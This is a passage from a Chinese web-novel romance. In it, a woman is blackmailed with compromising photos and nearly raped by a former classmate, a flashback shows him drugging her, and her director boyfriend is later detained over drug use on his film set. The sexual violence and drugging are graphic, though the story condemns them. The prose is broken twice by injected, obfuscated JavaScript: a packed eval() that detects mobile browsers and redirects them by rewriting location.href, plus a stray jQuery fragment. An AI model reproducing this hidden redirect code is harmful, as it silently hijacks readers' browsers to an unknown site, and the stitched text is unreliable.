【阿宜,我也不想这么做。】 【我手里还有更多照片,对不起,我也不想公开。】 宜夏手指掐进掌心,深呼吸两次,咬着牙敲字: 【你想干什么?】 对方发来了一个地址。 【我想和你谈谈。】 【就我们两个。】 【你应该不想让谈雪昼看到这些照片吧。】 - 宜夏打车到了发来的那个地址。 那是一家比较高端的私人会所。 是留在宜夏记忆里,不能磨灭的一个地方。 宜夏从一楼进去。一楼很狭窄,几乎只有一个光线昏暗的小房间,而顺着走廊走出去之后,从隐蔽的楼梯下到负一楼,视野骤然开阔,光线变得晦暗不定。 空气中弥漫着浓烈的檀香气味,几乎令人呕吐。宜夏急匆匆走过大厅,顺着一条格外熟悉的走廊走到尽头,推开包间门。 里面没有开灯。 宜夏站在门口,冷声说:“我到了。” 沙发上,一个黑影徐徐站起来,高大的轮廓笼罩住门口的宜夏。 于璟说:“进来,然后关门。” 宜夏照做。 她开了灯。 灯光骤然大亮,照亮包厢里熟悉的陈设。 皮质的沙发散发着干燥的沉闷气味,把宜夏唤回了高考后那个晚上。 一切都没有变,宜夏有些恍惚,直视于璟的眼睛:“你想谈什么。” 于璟下巴点了点他面前的沙发:“坐。” 他自己靠着沙发坐下,歪靠在椅背上,整个人深深陷进去,盯着面前茶几上的几瓶红酒。宜夏走到他面前,没有坐下,而是双手抱臂,居高临下看着他:“你想干什么?那些照片,你给警察保证过,你删了的。” “我去英国之后,找人恢复了数据。你知道这几年我怎么过的吗?”于璟抬起头,“我每天晚上都看那些照片,然后,我一边后悔,当初不该那么对你,一边又想,当初不该那么轻易放过你。” 宜夏静静看着他。 他说:“我每天都在想,我回国之后,我会跟你认错,求你原谅我,然后,我们还跟以前一样在一起。” 她轻声说:“你在做梦。” “我不过是,犯了一个那么小的错误。你为什么不能原谅我?” “你恢复那些照片,是想提醒我,你是个□□未遂的□□犯吗于璟?” 于璟脸色骤然一变,阴沉看向宜夏:“我说了,你可以不原谅我,但你不可以跟其他人在一起,你为什么不听?为什么要和其他人在一起?为什么不让我上你,却同意和其他人上床?” 宜夏觉得他应该是疯魔了。 她深呼吸:“我们从来没有在一起过,于璟,你清醒一点。” “你明明答应我,高考之后就在一起的!” 于璟情绪突然激动起来,站起来逼向她。 宜夏立刻后退,他进一步,她就后退一步,最终退无可退,被他压在了墙边。 后脑重重撞在墙壁上,宜夏忍无可忍,反手一肘顶向他的肚子,但于璟早有防备,直接拧住她的手臂,俯下身来压得更近:“你凭什么跟其他人在一起,还让他搞垮我家?” 宜夏手臂被别住,胸口起伏,扬起脸说:“你不要一直避重就轻,说得好像是我对不起你。你骗了我,你玩我,你跟你的兄弟们打赌要把我泡到手,所以你眼睁睁看着甚至背后煽动所有人孤立我,再扮演拯救我的那一个,于璟!是你!” 于璟喉结滚了下,无法辩驳,只能伸手去掐她的脖颈警告她:“不许再说!” 宜夏仰着脖子,呼吸困难,语速很快,眼睛里却藏着很多很多的悲哀:“我是真的,相信过你,喜欢过你,你知道我为什么不能原谅你吗?就是因为,我真的喜欢过你,但是你全都是假的,所有都是假的,全都是假的都是说谎!你现在还出现在我面前,一次一次提醒我你做了什么,于璟,你到底有没有一点点良知?” “但我已经知道错了,我八年都没有回国,我反思了,我知道错了,但你和其他人在一起了!” 宜夏情绪缓慢平复,垂下眼皮,片刻后,轻声说:“高考完那天,我们就已经不可能了。” “你亲手把我送去拘留所,差点去坐牢,你还想跟我说结束?” 于璟五指抻开,缓慢松开掐住她的手。 宜夏咳嗽着捂住脖子,看向他:“我已经不想跟你纠缠那些事了,是你一次一次地出现,纠缠,骚扰,我看不起你。” 于璟背对着她,走回沙发坐下,低头倒了杯酒。 他喝了一口。 转头叫宜夏:“阿宜,你坐下,陪我喝完这杯酒。我们来讨论一下,照片的事。” 宜夏问他:“你究竟打算做什么?” “你觉得这些照片,能不能让谈雪昼收手?他应该不愿意,他的女朋友,半裸体被所有人看见吧。” 宜夏很想笑:“你在英国待了八年,你没有一点长进吗?你还活在清朝吗?你以为谈雪昼是你吗?”顿了下,“你以为,我在乎吗?” “那如果你一点都不在乎的话,你现在为什么独自出现在这里?” 宜夏看着他:“于璟,我是为了你。为了你,不要做出让自己彻底后悔的事情,你收手,我们还能好聚好散。” 于璟喉结滚动着,咽下一口酒。 他扬起脸,眉眼阴翳:“后悔……我已经做过让自己后悔了八年的事了,也不差……这一件。阿宜,如果你不属于我的话,也不能属于其他任何人,你知道吗?” 宜夏心跳突然剧烈起来。 因为他的神情越来越阴沉,越来越可怕。 她有点发毛,一只手背在身后,摸索着按下了紧急联系人的号码。 于璟已经注意到了她的动作,他突然站起来劈手夺过她的手机,冷笑着扯住她的手臂,一把将她推倒在沙发上。宜夏尖叫一声,立刻抬腿用膝盖去顶他。然而他两条腿死死固定住她的腿,低下头直接开扯她的衣服。 宜夏意识到了他似乎已经处于无法沟通的状态,奋力用手肘撞他的下巴:“于璟!” 于璟撤开一点,一只手撑在她脑袋旁边,垂着眼看她,呼吸沉重,另一只手用指节擦了擦唇角:“阿宜,你知道我后悔什么吗?我最后悔的,就是他妈那天,没在警察来之前把你真的上了!我他妈后悔了八年!” 宜夏奋力挣扎起来,两条腿紧紧并住不让他得逞,他突然一把掐住她的脖子,扇了她一耳光:“他妈的,你这个臭婊|子,你愿意给其他人上,那我呢?!” 宜夏身上的衣服已经彻底被他撕裂,她好像再次回到了高考后那个晚上。 恐惧再次占据上风,她身体僵硬四肢瞬间冰凉,仿佛一身的骨头都在瞬间被人抽走,她盯着头顶摇晃的大灯,感觉到覆在身上的人打在她肩窝带着酒气的沉闷呼吸声。 终于忍不住,她的眼泪流了下来,她服软了,颤抖着声音尝试跟他讲道理:“于璟,你冷静一点,好不好?我……其实我过去,也一直在……” 于璟眼神清明了一点,咬在她肩膀上,咬着牙问她:“在什么?” 宜夏眼中恐惧耻辱之色越来越浓,头顶的灯光明晃晃的,令她思绪情绪彻底回到了那个晚上—— 那天。 高考最后一门英语结束,她从海晏假日酒店退房,接到了于璟的电话。 于璟不参加高考,准备出国。他打电话过来,说高考已经结束了,她答应他的事情,是不是要践行了? 宜夏犹豫了下,捂着电话“嗯”了声。 于璟给她发了个地址,让她打车去那个地方。 就是现在这家会所。 推门进大包厢的时候,宜夏发现里面有不少人,都是于璟的朋友们,大部分是男生,也有几个女生。都是家境优越,准备出国的富二代。 见到她进来,他的朋友立刻起哄,喊她嫂子。 宜夏咬住嘴唇,有些不太适应他们这么开玩笑。 于璟见到她进来了,把她拉到自己旁边坐下。 原来这个趴是特地为了庆祝她高考办的,大家都是来祝贺她的。宜夏感谢过大家的好意,也就在众人有一声没一声的劝说中,喝进了一杯酒——只喝了一杯,她还是很警惕的。 但她酒量实在是太差了,一杯就很晕了,于璟带她去到另一个小包厢里休息。 她蜷缩在沙发上睡觉。 天气很热,他忘了把空调温度调低,她很快被热醒,顺着走廊出去找他。 站在那个大包厢门口,她听见里面的人在说话—— 于璟的朋友说:“璟哥是真的牛逼,手段花样太多了,这种孤僻高冷把不到手的也服服帖帖拿下了!” 另一个朋友说:“也不看看璟哥那是什么水平?” “谁当初押璟哥拿不下的?打脸了没?这不是拿下了?” “璟哥这次打赌大获全胜了啊,庄家通吃,记得赌了什么没?哎郭威,你那匹马是不是输给璟哥了啊?” “璟哥出马,那还有什么赌注拿不下来?” 紧接着,听见于璟好笑的声音:“就那样吧,别吹牛逼了,我也努力了快两年才答应我,是真难搞到手。” “璟哥今晚是不是就要上垒了?我看那姑娘真挺纯的,稍微哄一哄,应该就能得手吧?” 于璟:“还行吧,看起来高冷,性格是真软,真纯,真乖,心特别的软。” “璟哥别是真喜欢上她了吧?” 于璟:“那不至于。” 宜夏站在门口,脸色青白,大脑也是一片空白,不明白他们在说什么。 他们说的,打赌是什么意思? 拿下,是要拿下……她吗?她是他们的赌约吗? 她呼吸沉重,刚要推开门进去质问,突然听见里面接着说话—— “想想也知道璟哥不可能真喜欢。璟哥手段是真的,牛逼,别出心裁,人家姑娘都被孤立成那样了,璟哥一点不心疼,还能利用关……关什么来着,让那姑娘再惨一点。” “这你们就不懂了吧,那种孤僻高冷的,一般防备心都很重,要用些特别的手段才能接受你,知道吧。不惨一点,璟哥怎么下手?要扮演那种,生命之中唯一的一束光,救赎,白月光什么的。” “就是有点缺德,哈哈哈哈哈。还是璟哥牛逼!来敬璟哥一杯——” 就是在这个时候,宜夏推开了那个包厢的门。 包厢里所有人顿时噤声,表情变幻莫测,不知道她有没有听见他们的话。 宜夏很平静地说:“我喝得有点多,想回去了,不好意思,你们先玩。” 包厢里气氛立刻活跃起来:“嫂子!这么快就走啊!别啊,再玩会儿呗,这趴可是璟哥专门为你办的啊!” 宜夏礼貌地抿唇:“你们玩吧。” 她转身往外走,于璟追出去,拉住她的手臂,温柔地说:“再玩一会儿吧,或者去旁边包厢睡会儿。” 宜夏突然感觉到很恶心。 原来唯一的朋友,唯一不介意她身世,唯一愿意在所有的孤立中接近她、温暖她的存在,只是一个彻头彻尾的谎言游戏! 全是装的。 全是装的。 这世界上有什么是真的? 她甩开他的手,盯着他的眼睛,扯了下唇角:“再玩会儿,留在这里,被你当猴子耍吗?” 于璟脸色立刻大变。 宜夏直接往外走,于璟冲上来拽她,宜夏奋力挣扎,两个人就在走廊里冲突争执起来。 于璟的朋友们从包厢里冲出来劝架,其实是帮于璟堵她。 宜夏情绪已经处在崩溃边缘,她被于璟紧紧禁锢住,于是抬腿去撞他的下身,这时突然浑身一软,眼前一黑。 原来,陷阱在她走进那个包厢的时候就已经设下。 喝的那杯酒里有东西。 于璟抱着她,转头看向自己的哥们。 一个哥们笑嘻嘻:“璟哥,好东西,我也是好意啊!没事儿,一会儿就能醒。” 于璟抱着人进了包厢,其中一个哥们跟着进来。 于璟把人放在沙发上,有些下不了决心。 那个哥们一脸淫邪的笑:“阿璟,你他妈犹豫什么?都躺在你面前了,还不上?没事,她生气是正常的,等明天醒来,成了你的女人了,就气不动了知不知道?” 于璟被沙发上的人夺去了目光,几乎无法移开视线。 她桃花瓣一般绯红的唇瓣,她粉白泛着晕红的脸颊,她小巧的耳垂,玲珑的脸孔,以及白皙精致的锁骨下起伏的胸脯—— 那个哥们又说:“我教你,你先给她拍点照片,到时候她不服气了,你也有把柄。” 于璟把人推出去:“你先滚吧。” 宜夏精神恍惚,迷迷糊糊之间,听见一声沉重的关门声。 随后,就感觉到上半身的衣服似乎在被人往上捋。她一只手紧紧扣住沙发背,努力支撑着清醒过来,厉声质问:“于璟,你到底要干什么?” ——她自以为是厉声,实际上,却是喃喃的低语。 没有得到于璟的回复。 得到了一阵闪光灯。 宜夏其实一直在强撑。 从听见他们的聊天起,到现在被药放倒躺在沙发上任人宰割,这一切发生的太快了,她太混乱了,她甚至不知所措,已经不知道在发生什么,只能咬住舌头,维持本能的愤怒。 她发现了自己衣衫不整,立刻伸手去挡。于璟丢掉相机,一条腿挤开她并在一起的两条腿,低头在她唇上亲了一口。 宜夏突然浑身僵硬,瞳孔涣散,头上冷汗涔涔,两眼发直盯着于璟。 于璟掐住她的下巴,覆过来,低声问:“阿宜,刚刚你听到了多少?” 宜夏别过脸,两眼紧闭,依然浑身僵硬。 于璟见她抗拒,用力掰她的下巴,另一只手则伸下去抚摸她的腰腹。那只手的感觉,宜夏很多年不能忘记。她浑身发抖,尖叫起来,恐惧彻底攫住了她所有心神。 于璟撕破了她的衣服,更加迫切地想要靠近。宜夏突然摸到了硌在腰下的手机,一只手背在背后悄悄按号码——幸好这年的手机还是按键机,她能摸索到110. 于璟发现了她的动作,立刻把她翻过去夺走她的手机,这时候电话已经接通,宜夏竭尽全力,声嘶力竭地喊:“救命!” 电话被于璟挂断前一秒,宜夏拼命喊出了会所的名字。 于璟把手机丢开,砸到墙壁,顿时四分五裂。宜夏惊恐地抱住自己:“于璟,你知道你在做什么吗?你是在强|奸——” 她被丢下了深渊。 或者,被封闭在了孤岛。 这个包厢外所有人都知道,里面在发生什么。 但是没有任何人看不下去,冲进来救她。 她只能自救。 她拼尽全力,努力挣扎,不停地把任何能抓到的东西丢向于璟。然而于璟是觉得事情已经发展到这种程度了,他再停手也没有意义,于是直接扯住她的头发,把她压在了沙发上,伸手去扯她的裤子—— 就在这时。 外面传来一阵凌乱的脚步声。 随后,警察闯进来了。 …… 此时此刻。 和多年前一模一样的情形。 宜夏已经沉入了深海,陷入了无边的恐惧之中,瞳孔逐渐变得空洞,挣扎的动作幅度也逐渐微弱—— ……不。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285871|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行。 不要放弃。 你可以救你自己的。 你已经不是当年的自己了。 你已经长大了。 于璟感觉到了她的顺从,埋在她的颈窝处,重重喘了口气,伸手去解她的裤子。 突然,砰的一声。 清脆的玻璃碎裂声。 宜夏趁他刚刚放松警惕,挣扎着探出去一只手抓住了桌上的酒瓶,直接从背后砸在了他的后脑勺上! 于璟的眼睛立刻晃了一下,头晕目眩,倒在她身上,下意识抬手去摸后脑,却摸到了一手的血。 他顿时暴怒,撑着身子扇了宜夏两个耳光:“你这个臭婊子!” 宜夏奋力尖叫挣扎起来。男女之间存在天生的体力差异,但她刚刚一酒瓶已经把他砸出血了,两个人的纠缠不分胜负,简直是扭打在一起—— 包厢门突然被踹开。 谈雪昼闯了进来,见到包厢里的情景,顿时目眦欲裂。 他冲过来,拎住于璟的衣领把人从宜夏身上扯开,将人重重摔到地上,随后朝他脸上挥出一拳,再一拳。动作完全没有控制力度,似乎是要把几欲爆裂的暴戾完全发泄出去。 于璟被打得双眼紧闭,只剩呻吟声。 谈雪昼却没有再下手,而是立刻站起来脱下外套裹住宜夏。 宜夏抱紧自己,坐在沙发上平复情绪,浑身仍在发抖。谈雪昼抱紧她,她牙关发颤:“报、报警……谈雪昼,报警。” 谈雪昼拿出手机报警,过程中紧紧把她抱在怀里,禁锢在怀里,用自己的体温来温暖她的身体。 他不问她到底发生了什么,只是不停擦她涌出来的眼泪——有惊恐之后的生理性泪水,也有情绪压力极大释放之后的泪。 他抱紧她,不停在她耳边说:“没事了,没事了,没关系。对不起,我来迟了,没事了——” ——宜夏出门前,写了一条定时发送的短信。 看到于璟发来的地址,她不确定他会做出什么来。 于是,把自己要去的地址发给了谈雪昼。 她之所以独自去见于璟,是因为如果可以,她还是不希望,那些照片被更多人看见。 她相信自己有勇气、能力和于璟周旋。 如果谈判破裂,他一定要公布,或者把照片发给她在乎的人,那她已经尽力,也不会觉得太难堪——因为,那不是她的错。 谈雪昼告诉她,那些事情不是她的错。 她也愿意相信他。 她想的是,最坏的情况无非是谈判破裂。 她不相信于璟这八年一点长进都没有,还会对她用□□的手段。 没有想到。 …… 警察来得很快。 宜夏刚刚体力和精神消耗过度。 警察来之后发生了什么,几乎完全没印象了。 录完口供出来,谈雪昼很温柔地把她放到副驾驶,替她扣住安全带,亲了一下她的脸颊。宜夏突然躲开,一滴泪终于滚了出来:“不要,很脏。” “不脏。”谈雪昼摸摸她的脸颊,“我们回家了。” “对不起,谈雪昼,对不起,我没做好……我以为我可以的。”宜夏眼泪全都滚了出来,泪光朦胧,哽咽看着他,“我以为我——” “没关系的,你把自己保护得很好,特别好,还想到了提前给我发短信。”他摸着她的头发,“是我来太晚了,对不起。” 宜夏把脸埋在他怀里,终于痛哭出声。 她觉得自己没做好。 她不够理智。她低估了男女之间的体力差距。她没想到于璟竟然真的会动手。 她在心里指责自己,为什么没有考虑更多,就直接去见于璟。 为什么不能想出更周全的方法。 还有……为什么不直接把这件事告诉谈雪昼。 那些照片。 她一直在掉眼泪。 谈雪昼没有启动车,而是把她从副驾驶抱到自己腿上坐下,紧紧环抱住她的肩膀。心脏声共振,他温柔说:“你做得已经很好了,你保护了自己,你很勇敢。你一直很勇敢。” 安静片刻,他伸手擦了擦她的眼泪。 宜夏很久很久,终于平复了情绪。 她埋着头,哽咽着说:“他约我见面,是为了一些,照片。” 谈雪昼沉默地听着,很温柔地拍她的背。 “你不是以为,高考之后我就跟他在一起了吗?不是以为,我喜欢他吗?” 她想把所有的故事全都告诉他。 她知道他一定,一定不会觉得是她的错。 她平复了一会儿,低声说:“我不知道,我那时候是不是喜欢他。高中那时候,我被所有人孤立,只有他愿意接近我,跟我做朋友。然后,他追我,我就答应了他,高考之后跟他在一起试试。” “后面高考完了,他就,喊我去一个趴。”宜夏眼睛发直,陷入了不愿回想的回忆里,声音越来越低,“然后我就知道了,原来他追我,是他在跟人打赌,追到我,他就赢了。原来我被人孤立,被人欺负,他全都知道,全都在袖手旁观,甚至刻意让那些同学孤立我孤立得更厉害,方便他,扮演一个救赎的角色。原来都是他的谎言。” 说着,她泪水滚落下来,自己用手背擦了擦:“对不起,谈雪昼,我一直,一直没有跟你说,我真的特别后悔,因为我决定,利用你来报复于思程的时候,我就变成和他一样的人了。我是一个,非常不好的人。” 谈雪昼不停替她擦眼泪:“你不是,你跟他完全不一样。” 宜夏张了张口,片刻后闭了下眼睛:“就是,在那个趴上,我知道了这些,我就打算离开。” 她声音顿住,好一会儿,哽咽张口,“但是,就是他给我喝了一个东西,我就晕倒了。就被他,拍了一些不好的照片,然后……但是警察来了,我报警了,警察来得很快,所以最后也……也没有发生,什么,我就是,但是后面我就有点,变坏了。” 她语无伦次,眼泪不停往下掉。 那天。 警察来了之后,把他们所有人都带到了警局。 于璟的父母带着律师过来了,然后那个律师就一直说,她是和于璟有感情的,展示了他们之前的所有礼物往来之类的东西,把这个事往感情纠纷辩,而不是她坚持的□□未遂。 她身体上没有他的□□,也没有创伤性的伤口,她也没有律师,没有证人,没有证据。 她一个人孤零零坐在派出所里,感觉整个世界都变成了黑白色。 她特别恨,痛苦得快要窒息。 最后于璟还是被拘留了。 但很快就被家里弄出来了,直接去了欧洲。 于家是有头有脸的家庭,自然不可能让这种事情大规模地被宣扬传播出去。 最后知道这件事的,只有几个当事人。 宜夏谁也没告诉,哪怕后来跟薛霓无话不说,她也没跟她讲过这件事。 只是这件事之后,她性格就变得更加难以跟人正常相处。 “就是,变坏了。我不知道,什么是真的,什么是假的,什么是对的,什么是错的。然后我那时候打算利用你,对你说谎,我好像是,也变成一个没有什么真心的人了。”宜夏抬起头看着他,眼眶通红,“然后,我也变得,没有什么勇气了。我其实,那时候,一点也不想和你分手,但是我就是觉得,我很多地方都太差了,太差劲了,我没有勇气,又做了很多错事,也根本配不上你,所以我就……” 谈雪昼把她往自己肩膀上按,声音很哑:“你没有变坏,你一直很好,是我心里……是我心里最好的姑娘。” 沉默片刻,他擦着她脸颊上的泪痕,轻声说:“对不起。” “你为什么要说对不起。” “对不起,我看见了你被孤立,但是我,没有主动做什么。是我来得太晚了,是我做得太差了,让你一个人……走了这么久。” “不是的……”宜夏又一次用手背去擦眼泪,声音依然在哽咽,“不是的。是因为,我把你忘记了,对不起,……” 他擦着她的眼泪,声音突然带了一点漫不经心的笑意:“我们俩要一直在这,对彼此道歉吗?” 宜夏轻轻地收了声音,突然打了个嗝。 他摸着她凌乱的长发:“宜夏,你一直做得很好,以前是,今天也是,没有人比你更加勇敢。然后,之前分手的事情,我一直没有跟你说过,我从来没有怪过你,也没有觉得你利用我,或者对我说谎,你就是一个不好的人。你一直是我心里,最好的姑娘。我也要跟你道歉,分手的时候对你态度不好,那是因为……” 他顿了下:“因为,一想到你不喜欢我,就很痛苦。” “没有不喜欢你……” “我知道。” 他把她放回副驾驶,给她扣好安全带,再次摸了摸她的头发:“我们回家了。回去睡一觉,明天起来,这些事情就都过去了。” 宜夏怔怔看着他,许久,终于弯起了眼睛,重重点头“嗯”了一声。 好像,把这件一直压在心里的事情说出去之后,心也彻底地轻松了下来。 那些一直不愿意回想的事情,孤立,欺凌,谎言,欺骗,那段兵荒马乱的少女时光,她终于,也成功地渡了过去。 人活在这个世界上,都会遇见一些破碎的时刻。 然后,也会有愈合的那一天。 她靠着车窗,望见不远处明亮的浓绿的树影。 春天已经过去了,夏天秋天,冬天马上要来了。然而,冬天过后,春天一定会如期降临。 她看了好久,偏过头盯着他,轻轻喊他的名字:“谈雪昼。” “我在。” “谈雪昼。” “在。” “你会不会一直在?” “会。” “真的吗?” “我什么时候骗过人?” “是……你从来没说过谎。”宜夏弯着唇角,“我相信你。” 89. 想把你比作春日 到家之后,宜夏洗了个澡,钻进被子里,牢牢裹住自己,打算睡觉。 谈雪昼慢条斯理地进了浴室,收拾干净之后,回卧室看了她一眼。 她从被子里探出脑袋来,弯着眼睛问:“你怎么还不来睡觉?” “等一会儿,”他指了下手机,“有点事,你先睡。” 宜夏抿了下唇,很诚实地说:“你不在,我睡不着。” 他笑起来,带点深意看着她:“那你等着。” 出了卧室,他走到露台,打了个电话。 挂断之后,他脸上的表情缓慢地一寸寸冻结。他面无表情,盯着露台的栏杆,突然,一拳砸在了上面。 后悔。 很后悔。 后悔刚刚没有把于璟打死。 然而。 最后悔的,却是,十八岁的他看到了十六岁的她,竟然就因为她不记得他,而放弃了主动出现在她面前。 还放弃了那么多次。 为什么,只是远远地旁观,曾经一次又一次地试图靠近,却一次又一次地最终退缩。 没有保护好她,让她独自面对了那么多不好的事情。 如果能再次回到十八岁。 他一定要告诉那个时候的自己,你的姑娘她在清白勇敢辛苦地长大,你应该在她身边陪着她。 - 包厢里有监控,可以很明显看见于璟是在强迫宜夏,宜夏摸酒瓶砸他是被迫反击。警察调查之后,于璟暂时被拘留了。 他家里那边立刻请了律师,不过于氏最近风雨飘摇,顾头不顾尾,内部已经乱成了一团。 因为宜夏挣扎得很厉害,身上也没有伤口,辩不成□□,所以于璟最终被定格拘留了十五天,还是被放了出来。 那些照片的事,宜夏不知道是怎么处理的,最终似乎是删掉了。 她不想去在意了。 不想被那些东西绑架。 其实,就算是真的发到网上,让所有人都看见,又能怎么样呢?作为受害者,这本来就不是她的错误。 于璟从拘留所出来那天,得到了一个新闻。 黎曼资本已经获得了于氏27.2%的股份,成为了断崖式的第一大股东,在股东大会发起的罢免于氏董事会、监事会的提议得到了通过。 黎曼提名了新的董事会,于氏正式落入了其他人之手。 但作为创始人的于氏家族,依然保留了一部分股权。 于氏在向外部投资人寻求帮助。于氏董事会内部的争斗,依然激烈。 …… 这些宜夏都不知道。 半个多月时间,她一直在专心做《春日》的后期。工作很忙,她就不去想那些已经过去的事情了。 就好像,已经释怀。生活逐步矫正,走向正确光明的方向。 《春日》的后期磨了一整个冬天,之后提交给电影局审核,申请下证。 谈雪昼这整个冬天都在江流的棚里拍《天幕之下》,开年之后还要再拍一段时间,大概二月中才会带着全剧组一起去非洲。 两个人在一起过了第二个年。 《春日》的证下得很快,因为是爱情为主线的故事,最终决定定档到2.14情人节全国公映。 公映前一周,电影要办首映礼,邀请了很多圈内的同事,一些明星导演和媒体来现场宣传。 宜夏作为主创、导演、编剧,这几天为了首映礼忙得不可开交。 还不止首映的事,最近金梅花电影节即将开幕,《春日》也得到了提名。电影节颁奖典礼就在情人节前一天,宜夏还要带着电影和剧组去电影节宣传。 首映、公映的宣传,电影节的事,全都堆到了一起,宜夏简直恨不得能够分身。 连电话都没时间打,只跟谈雪昼提了一声,问他来不来看首映。 怎么可能不来? 虽然最近事情特别多,拍大情节大场面调度起来很累,又临近转场,很多事情要他决定,一睁眼就是无数事项排在眼前等待安排。 但女朋友的电影首映,再忙也要去看。 首映礼当天,典礼快开始的时候,宜夏坐在后台给谈雪昼发消息,问他到了没。 却没有得到他的回复。 她也没有把这个事放在心上,他可能在路上了,也可能事情特别多来不及回复。 最近好像一直是这样。 《天幕之下》投资太大了、难度太高了,还有一个其他人不知道的理由——这可能是他的最后一部电影了,所以他特别在乎,也因此比拍《牺牲者》那时候更忙。 每次回到家都已经是凌晨三四点,宜夏还能看见他进书房看素材。 首映礼时间快到了,宜夏收起手机,走向幕前。 先是导演、制片做了个简短的开场白,随后就开始电影放映。 宜夏坐在台下,和所有人一起看银幕,心却在缓慢下沉——谈雪昼好像,没来。 他是被什么东西绊住了吗? 她忍不住低头看了眼手机。 也没有他的消息。 她抬起头继续看银幕上的流动影像,缓缓的,一种不安的预感降临到了她身上。 她坐的地方是第一排。 后面几排有不少媒体,影视自媒体和大V。 某一刻起,宜夏清晰听见了后排传来的手机震动声。 随后是接二连三的微信提示音甚至语音通话铃声响起,连缀成一片。 她往后一扫,很多人都在仓促低头看手机,淡淡的荧光映照在每一张脸上,让她产生一种恐怖的错觉。 这到底是,发生什么事了? 宜夏低下头,再看了眼手机。 突然之间,无数消息涌进她的手机里。 微信里是根本点不完的红点,所有人都在问: 是真的吗? 真的假的? 怎么可能? 宜夏脑子嗡的一声。 她手指发抖着点进热搜里。 热搜第一,爆。 #《天幕之下》涉毒# #谈雪昼被警方带走# 热搜第一的广场上,第一条评论是一段监控视频。 事情似乎发生在《天幕之下》剧组的片场。警方接到了情报,有人在《天幕之下》片场吸毒。布景复杂的巨大摄影棚里,警方准确地找到了躲在某间休息室角落里吸毒的一个小演员。茶几上凌乱地摆着水瓶、打火机、注射器和白色粉末,小演员满脸飘飘欲仙地躺在沙发上,整个人软成一滩烂泥。 警方很快把他拷住,随后就把片场的所有人一起带走尿检,足足装满了数辆警车。谈雪昼单独被带走,双手背在身后,手腕上一个银光闪闪的手铐。 那光太冰冷。 事情发生在一小时之前。 谈雪昼的公司已经用力去压消息了。 但这么大的事、涉及这么多的人,谈雪昼,还有电影的男主角,路昭野,一大群大牌明星,每一个拎出去都是全国人民关注的焦点,涉嫌吸食毒品这么重大惊爆的新闻,哪怕是谈家也压不住网上的舆论。 五分钟前,这段视频上了热搜,随后就以迅雷不及掩耳之势,直接窜上了第一,引爆了全网。 所有人关注的焦点在,其他人都没戴手铐,只有谈雪昼被拷住。 是否说明他也吸毒?或者他是主谋? 导演不够清白,《天幕之下》整个剧组是不是都涉嫌吸毒? 宜夏捏着手机,抬起头来时,才发现自己已经出了一头的冷汗。 不行。 这种时候,需要冷静。 银幕上的电影已经结束,按照流程,应该是主创与观众互动分享的时候了。 宜夏作为最重要的主角,这种时候,无法缺席。 她上台在椅子上坐下时,几乎坐不稳。台下闪光灯连缀成一片,紧接着立刻有媒体举手提问:“宜导,请问你看见了网上的新闻吗?方便跟我们透露一下具体情况吗?” 有人带头,所有观众媒体顿时哗然成一片。 宜夏心乱如麻,勉强镇定下来,打算直接把流程结束离场。 然而媒体们已经飞扑过来,一拥而上,把话筒几乎塞到她嘴边。 “宜导你对谈导涉毒这件事怎么看?请问你知情吗?” “请问能发表一下看法吗?” “谈导本人是否吸毒,请问你们两个有交流过吗?” “请你如实说明一下!” “你吸毒吗?你是不是也吸毒?这是你们寻找创作灵感来源的方式吗?” “谈导之前拍过缉毒警的短片,你认为他这么做对得起牺牲的缉毒警吗?” 宜夏奋力用手臂挡着脸,一句话也不能说。 这种时候,一旦说错一句话,都会引起轩然大波,甚至直接毁掉他的名声。 《春日》的男主和制片人艰难地挤进来,挡开人群,把她从记者堆里带走。 然而那些尖锐的质问声依然响在耳畔—— “是不是真的吸毒?” “为什么不正面回答!” “对得起缉毒警察吗?” 终于离开现场躲进小休息室里,制片安慰她:“宜老师,不要着急,不要慌,别——” 宜夏抖着手臂,摸出了手机。 想打给谈雪昼,但知道这种时候绝对打不通,想了下,她打给《天幕之下》的制片周冉。然而也没有打通。 她几乎喘不上气,抱着头不知如何是好,这时手机突然响了起来。 是个陌生的号码。 宜夏心里骤然窜上一阵强烈的愤怒和恐慌。 ……难道。 是于璟的阴谋吗? 她接起电话,对面是道陌生而熟悉的男声,声音很低仿佛湖水与深潭:“宜导,我是路昭野。” 宜夏急急问:“你们在哪里?现在还好吗?怎么回事?” “全组都在警局做了尿检,都没有问题,暂时都被放了。只有那个被当场抓住的。他是这几天招进来的临时群演。” 宜夏深呼吸好几次,才终于找回了神志:“谈雪昼呢?他没事吧?” 路昭野沉默了下:“谈导还在被审讯。那个群演声称谈导知情,所以,警方可能会指控他容留他人吸毒。” - 宜夏赶到了警局。 剧组里的演员和工作人员尿检没有问题,都已经被警察赶走了。 谈雪昼还被关着。 路昭野和经纪人都留在警局没有离开,见她赶来,迎上来说:“还在审讯。” 宜夏来的路上,急急地搜了什么叫容留他人吸毒。 吸毒本身不构成犯罪,最多会被行政拘留。 但“容留他人吸毒”属于刑事犯罪,刑期一般都在六个月以上。 容留他人吸毒是指给吸毒人员提供场所、条件等等。譬如收留他人在自己的房子里吸毒,就构成犯罪。谈雪昼作为《天幕之下》的导演,对片场拥有完全的控制权,所以,吸毒人员在片场吸毒,他就有容留他人吸毒的嫌疑。 然而容留他人吸毒也不是说,只要吸毒人员在你的地盘上吸你就犯罪。 如果完全不知情,既没有直接故意,也没有间接故意,那就会出罪。 问题是,那个小演员声称谈雪昼知情。 知情但不阻止,属于间接故意,也就是放任吸毒,属于吸毒的帮助犯。 而且那个小演员是未成年,更是加重犯罪。 宜夏深呼吸,看向路昭野:“谈雪昼的律师来了吗?” “已经进审讯室了。” “这件事……那个小演员,是什么人?” 路昭野说:“还在审讯过程。周总已经去查了。”他其实也有点绷不住,没忍住骂了一声,“妈的,这孙子。” 这绝对是一场陷害,利用公检法当枪的阴谋陷害。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 